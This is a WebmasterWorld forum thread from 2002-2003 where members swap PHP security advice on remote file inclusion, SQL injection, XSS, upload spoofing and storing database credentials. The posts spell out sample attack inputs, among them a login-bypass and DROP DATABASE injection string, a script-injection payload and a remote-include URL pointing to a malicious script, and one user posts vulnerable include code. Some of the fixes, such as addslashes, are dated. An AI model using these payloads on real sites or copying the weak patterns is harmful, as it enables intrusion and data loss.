homepage Welcome to WebmasterWorld Guest from 54.167.179.48
register, free tools, login, search, pro membership, help, library, announcements, recent posts, open posts,
Pubcon Platinum Sponsor 2014
Home / Forums Index / Code, Content, and Presentation / PHP Server Side Scripting
Forum Library, Charter, Moderators: coopster & jatar k

PHP Server Side Scripting Forum

    
PHP Security
Some common mistakes
ggrot

WebmasterWorld Senior Member 10+ Year Member



 
Msg#: 924 posted 8:00 am on Dec 9, 2002 (gmt 0)

I don't think I've seen this here before, so I thought I'd drop a short list of common PHP security mistakes made frequently:

1) The include function works with remote urls. If for any reason you have an include function with a variable parameter, be confident that no user can get that variable to become a url. If they can, they can run arbitrary code on your server with whatever permissions your PHP script has.
2) Confirm your variable inputs. Remember that a malicious user can change any input to anything (number, string, etc). Many sites have some type of user login (username password) and they check it against a database of usernames and passwords with a mysql query like this:
"SELECT COUNT(*) FROM USERLIST WHERE USER='$user' AND PASS='$password'";
If the result is 0, the login fails, if the result is 1, the login passes. What would happen if $user contained "admin';#"'. The query would now read
"SELECT COUNT(*) FROM USERLIST WHERE USER='admin';# AND PASS='$password'";
The semicolon denotes the end of a query, and the # means the rest of the line is a comment. Thus, it doesn't matter what password was entered, the query returns 1 row - access granted. Worse yet, what if user contained the string "';DROP DATABASE db" (all data deleted). The easy way to prevent this is to use the addslashes function to prevent strings from breaking out of the query and doing damage.
3) Check numbers too. Especially in queries since they are not generally placed within quote marks, addslashes wont work. You can check numbers with the is_numeric function.
4) File uploads. When a user uploads a file in PHP, it places a copy of the file in a temporary location and gives you a variable that stores the path to that file. Unfortunately, a malicious user can simply send that path variable as part of the input set and not upload a file at all. The path to this file could be the path to the unix password file or some other sensitive information. Depending on what you do with these files (ie: allow the user to view them), there is a major security risk. You can protect against this by checking the path with the function is_uploaded_file.
5) As always, if you run the server, keep up to date with the latest patches for PHP.

 

knighty

WebmasterWorld Senior Member 10+ Year Member



 
Msg#: 924 posted 9:03 am on Dec 9, 2002 (gmt 0)

nice one ggrot,

As a newbie to PHP there are some things which I'm not even aware of, and you just highlighted a couple of them for me! Thanks

andreasfriedrich

WebmasterWorld Senior Member 10+ Year Member



 
Msg#: 924 posted 3:01 pm on Dec 9, 2002 (gmt 0)

When you display data that were submitted by a user on your page again be sure to escape html´s special characters. Otherwise it would be possible to inject html and javascript into your page.

Imagine an input element like this:

<input type="text" name="form[name]" 
value="<?=$form['name']?>" />

If a user entered "><script>alert()</script><whatever attr=" into the form and you displayed it again on screen the actual html code would look like this:

<input type="text" name="form[name]" 
value=""><script>alert()</script><whatever attr="" />

Using a carefully prepared link I was able to publish an article in the Frankfurter Allgemeine Zeitung commemorating the fact that Jesse McCartney left All My Children. To style my article I used their style sheets so it looked exactly like a real article.

Andreas

Trisha

10+ Year Member



 
Msg#: 924 posted 6:34 pm on Dec 9, 2002 (gmt 0)

Thanks for starting this thread! Could someone explain 1) in more detail? I don't fully understand it. Thanks!

ggrot

WebmasterWorld Senior Member 10+ Year Member



 
Msg#: 924 posted 7:10 pm on Dec 9, 2002 (gmt 0)

1) The include function works with remote urls. If for any reason you have an include function with a variable parameter, be confident that no user can get that variable to become a url. If they can, they can run arbitrary code on your server with whatever permissions your PHP script has.

If you run the command:
include("somefile.php");
That file will be executed at that point in the code. However, this command can also look like this:
include("http://www.somedomain.com/somepath/somefile.ext");
And it will also execute that code. So if you had:
include($variable); where variable was set based on input from the user at some stage, the user could theoretically execute arbitrary code.

For example, I saw one website where the urls were all index.php?a=filename and index.php was a template with:
include($a);
in the middle. If someone were to form a url such as index.php?a=http://www.theirdomain.com/maliciousscript.php,
problems would have ensued.

ggrot

WebmasterWorld Senior Member 10+ Year Member



 
Msg#: 924 posted 7:10 pm on Dec 9, 2002 (gmt 0)

The remote file exploit (#1) is also dangerous in terms of fopen's. Same problem there, but usually not as bad as the file isn't executed as code.

nell

10+ Year Member



 
Msg#: 924 posted 4:44 am on Dec 10, 2002 (gmt 0)

Use .php as your file extension and not .inc for included files. Someone can easily view the source of an .inc file but not the source of an included .php file.

ggrot

WebmasterWorld Senior Member 10+ Year Member



 
Msg#: 924 posted 7:26 am on Dec 10, 2002 (gmt 0)

Good point nell. Which reminds me of another suggestion. Many times you will use PHP and mySQL as stated before. You will thus run a command like this:
mysql_connect("localhost", "mysql_user", "mysql_password");

which has the database password in clear view in the source code. If for some reason, your configuration changed or apache screwed up and delivered a .php page as an plain file (ex: html, txt), the password would be plainly visible. You can also put the mysql connect statement in an include("../../connect.php") type of statement pointing to a file that is not accessible from the web (something outside your HTML directory structure). Not doing this is not a security whole, but this fits along with 'good practices'.

Trisha

10+ Year Member



 
Msg#: 924 posted 8:15 pm on Dec 10, 2002 (gmt 0)

Thanks! I want to make sure I really understand this. If I have an include like this on my site:

include ("header.php");

This should be ok? Even if I used the full url path? Is it only bad if the file included contains a variable? I do have some links, not include files, with variables in them, but they have nothing to do with user input.

Regarding the:
mysql_connect("localhost", "mysql_user", "mysql_password");

I have been concerned about this for a while. What should the permissions be set at for files containing this information?

and about:

You can also put the mysql connect statement in an include("../../connect.php") type of statement pointing to a file that is not accessible from the web (something outside your HTML directory structure). Not doing this is not a security whole, but this fits along with 'good practices'.

My files with the mysql connect statement are in an include like this:

include ("include_fns.php");

where either the file include_fns.php contains the statement or has within itself another includes statement pointing to a functions.php file. If the file with the mysql connect statement is placed outside the public html directory, how can it be found? Does just putting ../ in front of it work?

Sorry if these sound like silly questions. Server side stuff is not my strong point and I have been concerned about possible security problems for a new PHP/MySQL site - I want to do it right, I don't want to take any chances.

ggrot

WebmasterWorld Senior Member 10+ Year Member



 
Msg#: 924 posted 7:25 am on Dec 11, 2002 (gmt 0)

include ("header.php"); This should be ok?
.
Absolutely. You only need to really worry if there is a variable in that include statement.

Regarding the:
mysql_connect("localhost", "mysql_user", "mysql_password");
...
include ("include_fns.php");

Basically what I'm saying is that your PHP code can execute an included file from nearly anywhere on the server. This includes locations that wouldn't be accesible from the web.

For example, for each site I run, there is a directory on the server with the site name (ex: /example.com/ ) and then below that is a directory that represents the root of the domain (ex: /example.com/http/). example.com/index.htm would then be located at /example.com/http/index.htm on the server. What I would do is put the mysql_connect statements at example.com/connect.php and use the PHP include function to execute that program. Nobody can ever access the connect.php file directly from a web browser - even if PHP gets disabled (this has happened to me once - passwords were visible for a few minutes, but it isn't likely)

Overall, this is just an added precaution, by no means is it necessary.

bohemian

10+ Year Member



 
Msg#: 924 posted 7:25 pm on Jan 8, 2003 (gmt 0)

Hello everyone,

I'm php newbie, please bare with me..

I understand that there are security risks using the include function with a variable, like the followings, is there any way I can make it secure using the include function with a variable? Or I should not use them at all?

I'd like to use it if I can make it secure, because it makes easy to maintain web site.


<?php
if ($a == "")
{
include ("homepage1.inc.php");
} else {
include ("$a");
}
?>

<?php
if (isset($a))
{
include("$a");
} else {
include("homepage1.inc.php");
}
?>

One more question about security of mysql_connect please:


What I would do is put the mysql_connect statements at example.com/connect.php and use the PHP include function to execute that program. Nobody can ever access the connect.php file directly from a web browser

How can I do this? Can I do like..

If I have this page at MyWebSite.com/form.php and this from calling ACTION="connect.php". In the connect.php file, I put this include function: include ("Mysql-Info.php");

Am I understand right? Maybe not.. I'm really slow here...

Thank you for your precious time!

ukgimp

WebmasterWorld Senior Member 10+ Year Member



 
Msg#: 924 posted 11:14 am on Jan 9, 2003 (gmt 0)

Is it enough to remove the characters using an str_replace on any user input?

As in
str_replace(array('<', '>', '\\', '/', '='), "", $input);

If so, are there any that should be added. I tried inputing ascii codes also which seemed to work.

Regards

xlcus

10+ Year Member



 
Msg#: 924 posted 10:37 pm on Jan 11, 2003 (gmt 0)

Is it enough to remove the characters using an str_replace on any user input?
As in
[i]str_replace(array('<', '>', '\\', '/', '='), "", $input);[/i]

If you're trying to make a string safe for output to the browser, you can use the
htmlentities [php.net] PHP function...
[1]$safestring = htmlentities($userinputstring);
echo $safestring;[/1]

toadhall

10+ Year Member



 
Msg#: 924 posted 11:57 pm on Jan 11, 2003 (gmt 0)

To secure includes from malicious use it is prudent to set the include path [php.net] in php.ini. If, that is, you have access to php.ini.

Includes, requires and fopens (with path) are then restricted to the listed directories and any attempt to include from elsewhere results in a
Warning: Failed opening 'http://www.domain.com/path/to/script.php' for inclusion (include_path='gives include_path') in gives file path on line 8

Check your php configuration through the phpinfo() function [php.net]. Do a page search for include_path. It will show the set directories.

<edit>That link to include_path isn't jumping to the anchor so here's the path:
[php.net...]
copy and paste</edit>

bohemian

10+ Year Member



 
Msg#: 924 posted 10:17 pm on Jan 12, 2003 (gmt 0)

Thanks for reply,

Umm... I don't have access to the .ini file - my site is on the cheap shared hosting account, but, I checked the server php configuration, and that's saying:

Directive - include_path Local Value - .:/usr/local/lib/php Master Value - .:/usr/local/lib/php

So, it supposed to give me a message "Warning: Failed opening..." right? but it does not give me that message when I tested, I was redirected to the other sites, and the other site's web page show up in my testing web page as the included page, I used the followings to the test:

[My-Example-Site.com...]

Do you have any idea why? Is this because of the server configuration?

Thanks,

toadhall

10+ Year Member



 
Msg#: 924 posted 4:30 am on Jan 13, 2003 (gmt 0)

Mine isn't the final word on this sort of thing, but...

Try adding this line to an .htaccess file in your www (root) directory:

php_value open_basedir "/"

...exactly as typed (spaces important), then try a remote include. It should restrict file opens (includes, etc) to your directory tree only.

You can add restrictions to specific directories as well.
The line to add for a *nix server is:

php_value include_path ".:/path1:/path2"

...and for a Windows server is:

php_value include_path ".;\path1;\path2"

The difference is in the path separators - colon for *nix, semi-colon for Windows - and of course the slashes.

The dot (.) at the beginning of the list represents the current directory. Just substitute your real path(s) and place the line in your .htaccess file.

If you haven't set up an .htaccess file before, add the line(s) I suggested to a plain text file and save it as .htaccess - no file extension. Don't omit the dot at the beginning.

Further information and user contributed suggestions can be had by going to [php.net...] - search for specific items at top right of the main page.

T
___________

later thread on PHP Security [webmasterworld.com]

[edited by: jatar_k at 9:02 pm (utc) on Aug. 19, 2005]

Global Options:
 top home search open messages active posts  
 

Home / Forums Index / Code, Content, and Presentation / PHP Server Side Scripting
rss feed

All trademarks and copyrights held by respective owners. Member comments are owned by the poster.
Home ¦ Free Tools ¦ Terms of Service ¦ Privacy Policy ¦ Report Problem ¦ About ¦ Library ¦ Newsletter
WebmasterWorld is a Developer Shed Community owned by Jim Boykin.
© Webmaster World 1996-2014 all rights reserved